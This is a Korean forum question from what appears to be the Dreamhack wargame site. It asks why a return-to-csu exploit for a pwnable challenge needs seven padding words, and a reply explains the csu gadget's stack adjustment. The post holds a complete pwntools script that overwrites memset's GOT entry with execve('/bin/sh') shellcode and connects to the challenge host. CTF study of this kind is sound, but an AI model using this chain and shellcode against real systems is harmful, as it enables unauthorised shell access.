완료됨
rtc를 이용한 exploit 코드가 왜 안되는지 모르겠습니다..

아래는 제 exploit 코드입니다.

이 코드에서 쉘 코드를 memset got에 overwrite한 후 memset의 got으로 ret를 변조할 때 앞에 p64(0)을 7번 붙여주지 않는다면 exploit이 수행되지 않는데, 이유를 모르겠습니다.. 왜 memset got으로만 ret를 변조했을 때는 쉘을 얻지 못하지만 앞에 p64(0)을 7번 붙여준다면 쉘을 얻을 수 있는건가요?

from pwn import *
 
context.log_level = 'debug'

csu_pop = 0x00000000004006EA
#pop rbx pop rbp pop r12 pop r13 pop r14 pop r15 ret
csu_mov = 0x00000000004006D0
#r15 -> rdx r14 -> rsi r13 -> rdi  call r12+rbx*8


shellcode = b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
#31byte
payload = b"DREAMHACK!"
arr = []
for i in range(118,0,-1):
   arr.append(i)

payload += bytearray(arr)
payload += p64(0)

print(len(payload))

p = remote('host1.dreamhack.games', 8893)
#p = process('./validator_dist')
e = ELF('./validator_dist')

bss = e.bss()

def make_csu_chain(address, arg1, arg2, arg3):
    temp = p64(csu_pop) + p64(0) + p64(1) + address + arg1 + arg2 + arg3 + p64(csu_mov)
    return temp

payload += make_csu_chain(p64(e.got['read']), p64(0), p64(e.got['memset']), p64(len(shellcode)+1))
payload += p64(e.got['memset'])

#위 코드 대신 이 코드를 사용하면 exploit이 됨 payload += p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(e.got['memset']) 

p.sendline(payload)
sleep(0.5)
p.sendline(shellcode)
p.interactive()

화면 캡처 2021-06-01 122755.png

위는 csu 코드 및 주소 입니다.

#pwnable
작성자 정보
더 깊이 있는 답변이 필요할 때
드림핵 팀과 멘토에게 직접 문의해 보세요!
답변 1
avatar
Sechack
2024 Invitational Contenders
avatar
Sechack
2024 Invitational Contenders

정확한건 gdb로 봐야 알겠지만 csu구조상 add rsp, 8을 한번 하고 그다음에 pop을 6번 한뒤에 ret을 수행하므로 rip를 조작하고 싶으시면 dummy data를 앞에 8x7 = 56byte만큼 즉 p64(0)*7을 붙여줘야 원하는 주소로 rip를 조작할 수 있게 됩니다.

2021.05.31. 18:54